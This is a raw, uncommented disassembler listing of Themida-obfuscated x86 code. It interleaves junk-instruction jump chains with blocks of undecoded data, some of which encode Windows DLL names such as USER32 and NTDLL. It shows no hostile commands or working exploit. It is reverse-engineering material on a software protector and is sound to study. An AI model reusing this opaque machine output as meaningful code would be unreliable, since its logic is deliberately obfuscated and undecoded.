0FEh, 0FFh ; --------------------------------------------------------------------------- loc_555ECB: ; CODE XREF: Themida_:00542F0Cj push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] not ebx xor eax, ebx xor ebx, eax xor eax, ebx sub esp, 4 jmp loc_542C41 ; --------------------------------------------------------------------------- loc_555EEA: ; CODE XREF: Themida_:005495BCj add edx, ecx push eax jmp loc_550ACD ; --------------------------------------------------------------------------- loc_555EF2: ; CODE XREF: Themida_:0054A260j sub ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] mov [esp], edi mov edi, 0F4F1FBBh shr edi, 2 push eax mov eax, 0FFFFFFFFh jmp loc_54BAFE ; --------------------------------------------------------------------------- loc_555F11: ; CODE XREF: Themida_:0054D3E2j push esp pop esi push 1CA0h mov [esp], ebp jmp loc_555A64 ; --------------------------------------------------------------------------- dd 0BBC68146h, 168F457h, 0D0F75EF0h, 4E8C140h, 0F708E8C1h dd 0C7E956D8h, 8BFFFF24h, 0C481241Ch, 4, 4C481h, 0E1300000h dd 8124048Bh, 4C4h, 0DC0400h, 0E9DC2CC8h, 0FFFF2ED3h ; --------------------------------------------------------------------------- loc_555F60: ; CODE XREF: Themida_:loc_544F3Ej mov eax, ebx pop ebx push 3D7Dh jmp loc_555241 ; --------------------------------------------------------------------------- db 2Dh, 0C1h, 6Dh dd 0D80126C5h, 0C56DC105h, 67E95526h, 1FFFF6Bh, 0BAEB81F3h dd 8B30DE35h, 0E9562434h, 0FFFF53F8h ; --------------------------------------------------------------------------- loc_555F90: ; CODE XREF: Themida_:00544BB4j push 1A34073Ch pop ecx inc ecx add ecx, 172D419Bh jmp loc_54F928 ; --------------------------------------------------------------------------- dw 0C330h dd 66C0B60Fh, 0E987048Fh, 0FFFEBB6Fh ; --------------------------------------------------------------------------- loc_555FB0: ; CODE XREF: Themida_:00551BEDj add edi, 2F3420F8h add edi, 2E930FAEh pop eax shr edi, 5 jmp loc_548789 ; --------------------------------------------------------------------------- loc_555FC5: ; CODE XREF: Themida_:005560DBj pop eax pop ebx mov eax, [esp] jmp loc_553A5B ; --------------------------------------------------------------------------- db 0BAh dd 4, 0FFB6C4E9h, 8BFA01FFh, 0C483243Ch, 881BE904h, 8F5FFFFFh dd 895C2404h, 0EC81242Ch, 4, 81242489h, 42404h, 815D0000h dd 4C5h, 2B85000h, 1000000h, 24048BC5h, 5E08950h, 4, 8704C083h dd 335C2404h, 2C31242Ch, 242C3324h, 6624248Bh, 6866E9F7h dd 89666420h, 50662414h, 0BAE1E99Ch db 0FEh, 0FFh word_55603E dw 53ACh ; DATA XREF: Themida_:005419FCo dd 950400B3h, 952CD828h, 83241C8Bh, 0A72C04C4h, 5153AF2Ch dd 8AB321B5h, 21E9EB28h, 0B9FFFF64h, 0C3AEF66Ah, 0FFAC91E9h dd 76F480FFh, 0F8B1E953h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_556072: ; CODE XREF: Themida_:005492C1j mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] pop esp jmp loc_541B1F ; --------------------------------------------------------------------------- db 68h dd 5F8h, 0FF8D1FE9h, 241433FFh, 0BFAFE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556096: ; CODE XREF: Themida_:00548C9Aj mov [esp], esp jmp loc_5519E0 ; --------------------------------------------------------------------------- dw 0BF57h dd 67A5524Eh, 8105EFC1h, 0CFFF6BC7h, 4BAEE90Ah, 1489FFFFh dd 57D1E924h, 0E289FFFFh, 4C281h, 0C2830000h, 24148704h dd 41F3815Ch, 895F0244h, 0C7F8E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5560D6: ; CODE XREF: Themida_:0054FBABj add edx, eax mov [edx], bl pop edx jmp loc_555FC5 ; --------------------------------------------------------------------------- loc_5560E0: ; CODE XREF: Themida_:0055302Bj sub ebx, edi jmp loc_5508B9 ; --------------------------------------------------------------------------- loc_5560E7: ; CODE XREF: Themida_:0054F5E3j mov edx, ebp pop ebp and eax, edx mov edx, [esp] add esp, 4 jmp loc_5458D7 ; --------------------------------------------------------------------------- loc_5560F7: ; CODE XREF: Themida_:005562B6j mov ebp, 57586EA0h push 5011h mov [esp], esi mov esi, 6487014Fh shl esi, 3 neg esi xor esi, 8C9F9B2Ch xor ebp, esi pop esi add ebx, 198724C7h add ebx, 3F45552Fh add ebx, ebp jmp loc_54F1DA ; --------------------------------------------------------------------------- loc_55612A: ; CODE XREF: Themida_:00543197j mov edi, 1 and eax, edi mov edi, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 jmp loc_54C97F ; --------------------------------------------------------------------------- db 0Dh dd 6A4B7BD6h, 600E3E0Dh, 67A22D06h, 0C6311AD0h, 8324048Bh dd 814E04C4h, 4C72EFC6h, 0D2C68166h, 563EC523h, 7B243481h dd 5A2A5D34h, 347BF281h, 215E2A5Dh, 2434FFD0h, 5A2434FFh dd 50E28952h, 4B8h, 80C28100h, 1187758h, 80EA81C2h, 58187758h dd 4B951h, 0CA010000h, 24148759h, 732685Ch, 34890000h dd 525E5424h, 4E5C03BAh, 0DF25E942h, 0C581FFFFh, 2B729A6h dd 717AED81h, 0ED815BD7h, 97DFB511h, 954DFC2Dh, 5E8291Fh dd 1F954DFCh, 83242C8Bh, 0FFE904C4h, 1FFFF6Fh, 0E9042474h dd 0FFFFEFD3h, 5266DEF6h, 1245CF6h, 0EC815A66h, 2, 241C8966h dd 0DE30ABB3h, 0F0305B66h, 5A2434FFh, 8304C483h, 1C8904ECh dd 688BB724h, 26E0h, 0B6241489h, 0E941E909h, 0EE28FFFFh dd 0C6805966h, 5AF000DCh, 0F12CD800h, 4EC81h, 0C890000h dd 665EB524h, 2CDDB252h, 0D51FE99Fh, 0C483FFFEh, 0A8F1E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55625A: ; CODE XREF: Themida_:005502BFj add edi, 4 xchg edi, [esp] pop esp push 66FDh mov [esp], edi mov edi, 4 add eax, edi push dword ptr [esp] pop edi push edi mov edi, esp push ecx mov ecx, 4 add edi, ecx jmp loc_542732 ; --------------------------------------------------------------------------- db 1 dd 0B6E95FFAh, 81FFFF80h, 4C3h, 4C38300h, 5C241C87h, 9D9BCBBFh dd 0E9D72984h, 0FFFFD97Bh ; --------------------------------------------------------------------------- loc_5562A8: ; CODE XREF: Themida_:00549447j mov esi, 5D6F44D1h push edi jmp loc_549DC1 ; --------------------------------------------------------------------------- loc_5562B3: ; CODE XREF: Themida_:00551ACBj mov [esp], ebp jmp loc_5560F7 ; --------------------------------------------------------------------------- db 8Bh dd 89662424h, 50662414h, 0B855E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5562CA: ; CODE XREF: Themida_:0054C493j push edi push 0CA22263h jmp loc_545404 ; --------------------------------------------------------------------------- loc_5562D5: ; CODE XREF: Themida_:0054E58Fj mov esp, [esp] push eax push 7F61h mov [esp], ecx push esi jmp loc_5515C9 ; --------------------------------------------------------------------------- db 31h dd 545659CFh, 89FBE95Eh, 815EFFFFh, 4ECh, 0A03BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5562FE: ; CODE XREF: Themida_:005550DFj add esp, 4 add ebx, 0E2F9D62Eh add edi, ebx pop ebx push edi push dword ptr [esp+4] jmp loc_543FCE ; --------------------------------------------------------------------------- dd 0E924348Bh, 0FFFF6EDDh, 88E9F8B6h, 50FFFF14h, 0E92434FFh dd 0FFFF83F5h, 42474FFh, 5D2434FFh, 4C481h, 48F0000h, 1C895C24h dd 355CE924h, 0E5C0FFFFh, 97E58006h, 0FFB8C3E9h, 0B8FFh dd 60E90000h db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55635B: ; CODE XREF: Themida_:005508C5j mov edx, esi pop esi push esi mov esi, 154715B6h jmp loc_5513E5 ; --------------------------------------------------------------------------- loc_556369: ; CODE XREF: Themida_:00543E6Cj mov eax, 7A527A61h sub ecx, eax push dword ptr [esp] pop eax jmp loc_5494E8 ; --------------------------------------------------------------------------- loc_556379: ; CODE XREF: Themida_:0054888Cj mov edx, 2239792Dh jmp loc_550E01 ; --------------------------------------------------------------------------- db 81h dd 0DF254DC3h, 2BC3811Dh, 5E525052h, 0E904EB83h, 0FFFF8C75h dd 6D8CBE56h, 0F0010229h, 3F51E95Eh, 0F181FFFFh, 114107ECh dd 6111C181h, 53493342h, 37F7B0BBh, 5BD93176h, 62E9CA09h dd 21FFFEE5h, 24148BD1h, 4C481h, 0D5E90000h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5563D3: ; CODE XREF: Themida_:0055177Cj pop ebx jmp loc_549CDE ; --------------------------------------------------------------------------- loc_5563D9: ; CODE XREF: Themida_:0054A5D5j push dword ptr [esp+4] push dword ptr [esp] mov ebp, [esp] add esp, 4 push 353Dh mov [esp], esi jmp loc_548F77 ; --------------------------------------------------------------------------- dw 0FFBDh dd 29FFFFFFh, 60CBE9EEh, 8141FFFFh, 0BB63B2E9h, 59C88925h dd 18E9C789h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_556413: ; CODE XREF: Themida_:00544D60j pop esp jmp loc_553DBD ; --------------------------------------------------------------------------- db 0B8h, 0C8h, 7Dh dd 6C055CF2h, 0E908F62Eh, 0FFFF8B46h, 9F8AEF81h, 1DE979EAh db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556433: ; CODE XREF: Themida_:0054FB1Bj mov esi, 7F6D1DFBh add edi, 375B4204h add edi, esi push edx mov edx, 52971FC2h xor edx, 28E552ABh inc edx jmp loc_551765 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFF118Ch, 0E924148Bh, 0FFFF051Ah ; --------------------------------------------------------------------------- loc_556460: ; CODE XREF: Themida_:005554C7j xchg ebx, [esp] pop esp sub [esp+8], ebx pop ebx add [esp+4], esi jmp loc_547CF2 ; --------------------------------------------------------------------------- loc_556472: ; CODE XREF: Themida_:005559EDj and edx, 18544C3h add edx, 0FBAC43EBh sub edi, edx pop edx mov ebx, edi pop edi jmp loc_5554F8 ; --------------------------------------------------------------------------- db 68h, 77h, 5Fh dd 34890000h, 348B5424h, 4C48124h, 81000000h, 4C6h, 74136800h dd 45E90000h, 29FFFFB9h, 0EF015BDDh, 4BD555Dh, 0E9000000h dd 0FFFF9FD9h, 0D6C28142h, 81086161h, 0DDED77EAh, 5AD62982h dd 55EF189h, 404E7CEFh, 0FC68972Dh, 5C80114h, 14FC6897h dd 4E7CEF2Dh, 54E95940h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5564EB: ; CODE XREF: Themida_:0054C86Dj sub edx, 2B9571E2h sub edx, edi add edx, 2B9571E2h pop edi xchg edx, [esp] pop esp mov [esp], edi mov edi, esp jmp loc_54C29B ; --------------------------------------------------------------------------- dword_556508 dd 2C3468h, 65546800h, 0F1E90000h ; DATA XREF: Themida_:005419B0o db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_556517: ; CODE XREF: Themida_:0054B248j mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_542064 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 0C330000h, 240C3124h, 5C240C33h, 2B850h dd 0F8E90000h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556553: ; CODE XREF: Themida_:00548857j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add edi, esi pop esi add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_543C4D ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 4EC8104h, 89000000h, 0B9512434h, 6DF4472Dh dd 0F4472FBEh, 59CE316Dh, 9EE9F101h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556597: ; CODE XREF: Themida_:00553463j mov edx, 4 add esi, edx jmp loc_542174 ; --------------------------------------------------------------------------- loc_5565A3: ; CODE XREF: Themida_:0055575Bj sub eax, edi push edi mov edi, 312A5D62h add edi, 1072F20Ah add eax, edi jmp loc_54E501 ; --------------------------------------------------------------------------- dd 60E9E789h, 5AFFFF88h, 4EF81h, 3C870000h, 3C895C24h dd 2404FF24h, 4FDFF75Fh, 4B90BB53h, 0DF01959Ch, 6FED815Bh dd 0E9610B5Ah, 0FFFF1348h ; --------------------------------------------------------------------------- loc_5565E8: ; CODE XREF: Themida_:005450C2j add esi, 6FC01236h jmp loc_5458F5 ; --------------------------------------------------------------------------- db 81h dd 7C103AC5h, 5E5C131h, 7552ED81h, 0E4E9797Ch db 0EAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_556607: ; CODE XREF: Themida_:005451D3j add edx, ecx pop ecx jmp loc_543D27 ; --------------------------------------------------------------------------- loc_55660F: ; CODE XREF: Themida_:0054D086j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebx, 2 jmp loc_55115E ; --------------------------------------------------------------------------- loc_55662A: ; CODE XREF: Themida_:00548249j sub esp, 4 mov [esp], edx mov edx, 1F481CC3h xor eax, edx push dword ptr [esp] pop edx add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push eax mov eax, esp push ebx sub esp, 4 mov [esp], eax push 698C3167h jmp loc_550EBD ; --------------------------------------------------------------------------- dd 0FFC0E956h, 804FFFEh, 82CE828h, 56E82859h, 0C681E689h dd 4, 2EE81h, 0FF560000h, 0E9042474h, 0FFFF8E5Bh, 0E8005A66h dd 27B55153h, 6859EF88h, 1E93h, 0E9240C89h, 0FFFFC6A3h dd 0D9086FB3h, 241C8B66h, 3C71E951h, 0D501FFFFh, 4EC815Ah dd 89000000h, 0CCBA2414h, 0E91EE82Ch, 0FFFFA459h, 4240483h dd 5EEB6859h, 6AE90000h, 89FFFEEDh, 0FF54243Ch, 0E95F2434h dd 0FFFF57BFh ; --------------------------------------------------------------------------- loc_5566DC: ; CODE XREF: Themida_:0054C47Bj inc ebp xor ebp, 296E222Ah push ebp sub esp, 4 mov [esp], edi mov edi, 26954254h xor [esp+4], edi mov edi, [esp] jmp loc_545B90 ; --------------------------------------------------------------------------- dw 1CE9h dd 1FFFEB4h, 0BF5755F8h, 4010918h, 0C6A50BDh, 0DC9DE942h dd 5F54FFFFh, 4C781h, 0C7810000h, 4, 0C48AE957h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55672A: ; CODE XREF: Themida_:00546C66j mov eax, ecx mov ecx, [esp] add esp, 4 push esi mov esi, 7FEF4473h push esi not dword ptr [esp] pop esi inc esi add esi, 7E7E649Ch push eax mov eax, 40604538h sub eax, 47C33CFFh shr eax, 1 xor eax, 568FB597h jmp loc_547B90 ; --------------------------------------------------------------------------- db 29h dd 8CC281EAh, 5D27BF42h, 0FF8A82E9h db 0FFh ; --------------------------------------------------------------------------- loc_556769: ; CODE XREF: Themida_:0054AF86j push 64B33CE2h jmp loc_54AD21 ; --------------------------------------------------------------------------- db 0FFh dd 0E9582434h, 0FFFF2F4Ch ; --------------------------------------------------------------------------- loc_55677C: ; CODE XREF: Themida_:0054FF9Dj push eax mov eax, 4DE1296h jmp loc_54C118 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 1C875804h, 24248B24h, 1466B951h, 0B9515EB9h dd 2E5F5992h, 8244C01h, 24448159h, 5C027C04h, 244C010Bh dd 5A18E904h, 8F54FFFFh, 0EC812404h, 4, 0FF643BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5567C5: ; CODE XREF: Themida_:00541BA3j pop ebp sub ecx, eax sub ecx, 1FDF448Eh push esi mov esi, 5D4C2565h add esi, 7474211Bh and esi, 62027BCAh xchg ebp, esi inc ebp xchg ebp, esi xor esi, 100F45FEh and esi, 8231B06h add esi, 0DB6056Ah add ecx, esi pop esi sub ecx, 3A5C1C90h jmp loc_5441EF ; --------------------------------------------------------------------------- db 58h, 4Ah, 81h dd 431654EAh, 18BE5630h, 31E8A258h, 0D1015EF2h, 240C335Ah dd 33240C31h, 665C240Ch, 5324048Bh, 2434FF54h, 0E954525Bh dd 0FFFFB21Fh, 2434895Ch, 2434FF54h, 5A54525Eh, 4C281h dd 0BF570000h, 4, 0FEB7EAE9h, 4BA52FFh, 1000000h, 34335AD6h dd 24343124h, 5C243433h, 38A86856h, 24890000h, 24048124h dd 4, 91E9505Eh db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55687B: ; CODE XREF: Themida_:005521D6j sub ebp, 7B5539B3h jmp loc_54F945 ; --------------------------------------------------------------------------- dw 0E2D1h dd 0CA81D2F7h, 18042FDEh, 6FEA8142h, 29B998D6h, 0EA815AD5h dd 5E2904F2h, 0FFEFADE9h, 0E9CE88FFh, 0FFFF8041h, 4EC8159h dd 89000000h, 0EC83241Ch, 243C8904h, 51566850h, 48B4E1Fh dd 4C48124h, 2D000000h, 29965A06h, 7D788305h, 4EC830Dh dd 89241C89h, 5BDF89C3h, 0E924048Bh, 0FFFFF96Ah, 6468h dd 0C65E900h, 0EF81FFFFh, 3BFF6A7Eh, 2424B951h, 0F1812BBDh dd 753E2A83h, 3BFCC181h, 0CF01C12Ah, 0E9F70159h, 0FFFEF78Ch ; --------------------------------------------------------------------------- loc_556914: ; CODE XREF: Themida_:00556B24j mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_552E45 ; --------------------------------------------------------------------------- loc_55692F: ; CODE XREF: Themida_:00545EC8j sub esp, 4 mov [esp], edi push ebp push edi push ebx mov ebx, 3DEC7D2Ah jmp loc_549C2E ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 8904EC83h, 4812424h, 424h, 4055800h, 57000000h, 583D9C68h dd 243C8B3Dh, 8304C483h, 48904ECh, 7823B824h, 0E8C1712Eh dd 0D0F74805h, 50633E2Dh, 4B685675h, 0FF33674Ch, 0E7E92434h dd 52FFFF4Dh, 2BEABE56h, 75E9499Ch, 0FFFF8Ah, 665A66D0h dd 66D82859h, 66104868h, 52240C89h, 0D188CCB2h, 66C8005Ah dd 50240C8Bh, 405E089h, 5000000h, 2, 31240433h, 4332404h dd 5BFEE924h db 2 dup(0FFh) word_5569CE dw 8B66h ; DATA XREF: Themida_:005419B8o dd 2768240Ch, 89000021h, 0E2892414h, 0FF59D3E9h, 756855FFh dd 0E97D4F40h, 0FFFFCB3Ah, 4637FD05h, 6C3E957h, 0E95AFFFFh dd 0FFFF2768h ; --------------------------------------------------------------------------- loc_5569FC: ; CODE XREF: Themida_:00544542j pop edx push ebx jmp loc_542E08 ; --------------------------------------------------------------------------- db 55h dd 0CF2080BDh, 0D2FEE938h, 0C728FFFEh, 0FFAB13E9h, 24348BFFh dd 4C481h, 0EB830000h, 74FF5304h, 5BE90424h, 0FFFFFF79h dd 83582434h, 0FB0104C4h, 51243C8Bh, 0C181E189h, 4, 4BE56h dd 0F1010000h, 240C875Eh, 74FF535Ch, 34FF0424h, 0DD19E924h dd 0ED81FFFFh, 2E0E56BEh, 249DF581h, 0E889EF0Ch, 0FEC42FE9h dd 9E685AFFh, 89000065h, 73B82404h, 0E974071Bh, 0FFFF90F0h ; --------------------------------------------------------------------------- loc_556A80: ; CODE XREF: Themida_:0054FEA8j sub esp, 4 mov [esp], esp jmp loc_54230E ; --------------------------------------------------------------------------- loc_556A8E: ; CODE XREF: Themida_:00550733j sub [edi+24h], ecx mov ecx, [esp] add esp, 4 loc_556A97: ; CODE XREF: Themida_:0054B6A2j push 1D0h mov [esp], ecx push esi push ebx pop esi sub esp, 4 mov [esp], esi jmp loc_5482F8 ; --------------------------------------------------------------------------- loc_556AAD: ; CODE XREF: Themida_:0054BE96j jmp loc_541B1F ; --------------------------------------------------------------------------- dw 0BBh dd 968C824h, 0BA525BD8h, 65D971EAh, 0FEFC3EE9h, 0C4BF57FFh dd 6831D15Bh, 2314h, 0B9240C89h, 2BC95D0Ah, 0FF54E2E9h dd 51F1BDFFh, 0DDF75D33h, 20FED81h, 0B850713Bh, 70374CBEh dd 0FFFFFF05h, 58BA52FFh, 810D6E3Ah, 0D91CCCF2h, 4EBF5710h dd 0E9100203h, 0FFFF0264h, 8007E5C0h, 0F58073E5h, 90E58053h dd 2C85C580h, 4CA2E9A6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B22: ; CODE XREF: Themida_:00542A0Bj mov edx, esi jmp loc_556914 ; --------------------------------------------------------------------------- loc_556B29: ; CODE XREF: Themida_:00547150j sub esi, 5BDA6790h sub esi, eax add esi, 5BDA6790h pop eax jmp loc_54E43F ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0C62BB1BEh, 0DAA6E93Fh, 0E781FFFEh, 566E47F0h, 0FF6F03E9h db 0FFh ; --------------------------------------------------------------------------- loc_556B55: ; CODE XREF: Themida_:00543A77j sub ecx, eax mov eax, [esp] add esp, 4 mov ebp, [esp] add esp, 4 pop esi shl ecx, 6 xor ecx, ebx xor ebx, ecx xor ecx, ebx inc ebx xchg ebx, ecx jmp loc_552905 ; --------------------------------------------------------------------------- loc_556B75: ; CODE XREF: Themida_:0054D42Fj mov [esp], esi mov esi, 0CF7AF06Ah sub ecx, esi pop esi mov edi, ecx jmp loc_555AE6 ; --------------------------------------------------------------------------- byte_556B87 db 66h ; DATA XREF: Themida_:00541A5Co dd 5124048Bh, 0FF699FE9h, 35BFBFFFh, 63B80473h, 31674716h dd 243C8BF8h, 2D04C483h, 336732D6h, 8697E955h, 36EBFFFFh dd 52455355h, 642E3233h, 41006C6Ch, 50415644h, 2E323349h dd 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch, 40007h, 12001Ah dd 70014h, 0ED8802AFh, 9CE91D03h, 68000007h, 61D97BDh dd 0FDE727E9h, 983B68FFh, 1DE9061Dh, 68FFFDE7h, 61D9908h dd 0FDE713E9h, 9A2C68FFh, 9E9061Dh, 68FFFDE7h, 61D9A8Fh dd 0FDE6FFE9h, 9B6868FFh, 0F5E9061Dh, 68FFFDE6h, 61D9BCBh dd 0FDE6EBE9h, 720DDFFFh, 9F3E38CFh, 680FEB00h, 0A64132C9h dd 5E05EC03h, 0CD0496BBh, 855AFDA4h, 0D229C86Bh, 8E6504A3h dd 0A71BBE61h, 0EA56A72Ch, 402938D5h, 0D6579C82h, 2CB33A8Fh dd 0C4F559CAh, 0D864E75Dh, 3074750Ch, 836D46FFh, 8B40E0h dd 0E8D67BE2h, 54D7F247h, 0FF4D05CFh, 57F056E4h, 0CC4F7ABFh dd 1A565347h, 0E906DDDDh, 0FDA1A946h, 7340C341h, 0A93EE184h dd 0CD5B2BCEh, 9BA3D253h, 62DC812h, 8E5E0000h, 6F7F54F3h dd 0A0DA31D0h, 728156F9h, 0D6A338D7h, 0B7ED902Fh, 9938DF1Ah dd 0F4933642h, 0D06F0EDFh, 0F6993C3Bh, 3BC241C4h, 5638D5EAh dd 0E86DAD95h, 0C87D926Bh, 0B757ED3Eh, 15B25522h, 0AF2EB530h dd 0C23EC87Dh, 0EB72A444h, 48D857DEh, 17C4F6C4h, 18552AB1h dd 531DF279h, 933317B0h, 542BB174h, 0FA9DDB61h, 6F05136Ah dd 9C3B3ACFh, 6407F003h, 0E3D9FE94h, 9545CA49h, 5AFh, 0D67914E0h dd 0B356F501h, 10AF561Ch, 0BA5DF8FBh, 2A54C25h, 5D943D5Fh dd 0B4BC13B6h, 5C996E11h, 0AAC51ABDh, 0CF766807h, 0D5E58950h dd 3B07E838h, 0B45B966Dh, 7A8F2F1Bh, 0B63DDA7Dh, 7A7916B9h dd 0B043DC7Bh, 0D68522C9h, 0B41B4908h, 0A71D87CAh, 0B10284B5h dd 3Eh, 39DC1B11h, 966B9096h, 903EC87Dh, 0F125C467h, 5BD65D6Ch dd 0B1FA39CDh, 0E38359EDh, 0F4089F5Eh, 0D154F2C4h, 0B050F702h dd 0F897D6ADh, 31D09E75h, 0F312B694h, 0D57211DCh, 51A05h dd 0DC1B7B00h, 0E37A9C39h, 56E05FE6h, 29C4F557h, 8E7FC9Bh dd 950C265h, 19B63DC0h, 0FC3D1212h, 3D38078Eh, 9E4FB9Eh dd 4926CD6Ah, 0DB32D2A6h, 31FE43C6h, 4E2A9h, 46E11300h dd 83224CA3h, 3CE30FE4h, 8A25469Dh, 42E910E7h, 0A928BA9Fh dd 718629D0h, 0AE45E487h, 6A8120BFh, 9347EA8Dh, 0E46A73F0h dd 240538D5h, 39DC1B9Eh, 99DAA99Ch, 45E961FEh, 8B24C7B0h dd 0F0252CD6h, 3EC87FF3h, 0B13BB26Ch, 3F1F0284h, 0A3FFFFFFh dd 9C39DC1Bh, 5FE6E37Ah, 0F55352E0h, 0F8972DC4h, 830ABF06h dd 1190D2FCh, 46DF653Dh, 1CBFFFDh, 973637CDh, 57FAF5FEh dd 9AB579BEh, 0D998866Ch, 4E6BF96Fh, 1745FF6h, 9CE30000h dd 2C8FD657h, 57DC4B25h, 3EC80E86h, 5CDF6BD9h, 0DD60E276h dd 0F5FBE056h, 4ED573C4h, 8FD229CAh, 0D3A2E383h, 31AF9B34h dd 31B3588Dh, 0F4E8D795h, 5CD95C6Dh, 2AC36A87h, 29BB8020h dd 2BE4FEEBh, 73ADFB9Dh, 7A71CCDh, 6936BD4Bh, 0F456EF8Ah dd 78ABB54h, 38687188h, 0D67A1027h, 0A92C9D24h, 0EE5F7A23h dd 8F2FEA4Bh, 0E8C349CCh, 67ADA027h, 0D4C88D31h, 6BDD0479h dd 6E8956DDh, 98D72CCBh, 9CDAD09Eh, 68E27BFDh, 426C16EAh dd 7738A3D4h, 3BE63h, 62FDEF00h, 0AF4E28BFh, 58FFFB10h dd 0B65122B9h, 0EB5BC13h, 0FDD4066Bh, 55AA4DF4h, 2D9781Bh dd 1EB554F3h, 0D70BAE51h, 0E726B73Ch, 703938D5h, 22A73ED2h dd 0C4F4149Bh, 0D86BC4F6h, 2A17825Bh, 0DD62DDC7h, 0C72A171Ch dd 0D553D573h, 0D574814Eh, 31D09D32h, 0ED905F94h, 0E38E5719h dd 7E5C3149h, 35Bh, 22C5608Ch, 5F02A1CDh, 2CCB7288h, 56F994D7h dd 2ED17881h, 4138994Bh, 18E0F79Ah, 0F0FDD275h, 1E59AE51h dd 6BEADC7Bh, 0D5E715E4h, 0BF836C38h, 9C39DC1Bh, 0F81123A9h dd 1B5F6575h, 0E689667Bh, 2CCBAA49h, 0F5986093h, 0CFA28C58h dd 54C36A1h, 0C89813D0h, 5B924C3Eh, 0FF028597h, 0FFFFFDAAh dd 0E2DC1B83h, 5AF37514h, 21A425BCh, 0F5564CA2h, 22A91FC4h dd 0E3831E4Dh, 6A9CFE44h, 0BD388CD1h, 0C87DA736h, 0C74CBA3Eh dd 3EC87D36h, 0B63DBB49h, 0F559C739h, 6BF258C4h, 92615B94h dd 0E0D579F7h, 1435786Bh, 5178CD9Fh, 3BBF45CAh, 4AC09538h dd 0F5D469ADh, 980DF16Eh, 24A28F46h, 0E69824A1h, 0D06BCA72h dd 65926707h, 0AFC81FC2h, 8CBE3C0Ch, 58AF596h, 282D5h dd 26C1B300h, 0E3826C83h, 1CC3AF44h, 0EA85667Dh, 22C9B047h dd 9C8DA7Fh, 51A649F0h, 0EE58427h, 4AA140DFh, 0F3E78A2Dh dd 0E60AD350h, 846538D5h, 22A73EBEh, 0C4E2149Bh, 0EA6EC4F6h dd 1E06805Eh, 38F49434h, 79744BD2h, 0D5A037DAh, 0D7AC9936h dd 0EF5BF49Bh, 1ABDBA4Fh, 0E3889E46h, 35A56A49h, 21Fh dd 0E6892450h, 0A346E511h, 0E07F264Ch, 0AA4DE80Bh, 0D2751C55h dd 8D646D6Fh, 0C4AC43E6h, 8C697E21h, 0BAB54AEDh, 0BF467817h dd 0D5E6B940h, 2B17D838h, 0B75A966Dh, 0F69DD51Eh, 0CF6FF159h dd 8B6A085Dh, 6F08F9DEh, 109285ECh, 52840B92h, 0E5C4F67Ah dd 0E807DC5Fh, 12A2A845h, 9488B520h, 0C3862A39h, 0E685713Eh dd 1FC2AD42h, 37338E80h, 51F99639h, 0C0C74CCFh, 53C72B7Ah dd 9EDB18B5h, 6AE75EF7h, 2B7A14E5h, 39DD6BC7h, 412D027Dh dd 10E9FEA2h, 954C669h, 0D9A735B8h, 5B479D48h, 29A6A94Dh dd 0C72BE028h, 3FB451B7h, 0DCF08D30h, 9235D817h, 0F68F323Dh dd 7EA80D7Eh, 87816EF3h, 0C42FC867h, 0D8720BAAh, 0D279815Ah dd 0F4931535h, 0D06D10DFh, 16AF5623h, 51D69945h, 0FE48326h dd 20B936E2h, 3FC72BE0h, 0C6AE47C9h, 0E86DF0C5h, 2BE0926Bh dd 9069E6C7h, 0EFC72BE0h, 0CB6BD959h, 70890E61h, 0F3A183BBh dd 2DAB98C9h, 0D57C758Ah, 0DBABB38h, 0FC594A51h, 5FF87A8Dh dd 69EE81ABh, 0DF62E990h, 2BD39960h, 8D84F8C7h, 8032FB41h dd 0E342E664h, 0AE9E30Ch, 0F674D66Fh, 3960EC59h, 0E98866C8h dd 5C6EFE4Ch, 0B97E22B6h, 8FBF1A9Eh, 35BA953Fh, 0CC0D923Ah dd 0A37FB85Bh, 5320A325h, 0AD4C2927h, 0A9AC8B2Bh, 56FA9DDAh dd 50D37681h, 30D07783h, 6E15DC17h, 14E56AE7h, 6B7FB85Bh dd 57E039DDh, 0F40388C7h, 1E59AE51h, 0F67DF87Bh, 7FB85BE7h dd 0D36C0C7Ah, 7B74FE43h, 4CD35AD8h, 858563F6h, 0CA3CDB69h dd 49CF5673h, 3516EB8Eh, 4205A9EAh, 0A3862BBDh, 31CE3CFFh dd 6F12B5C2h, 39BC5F98h, 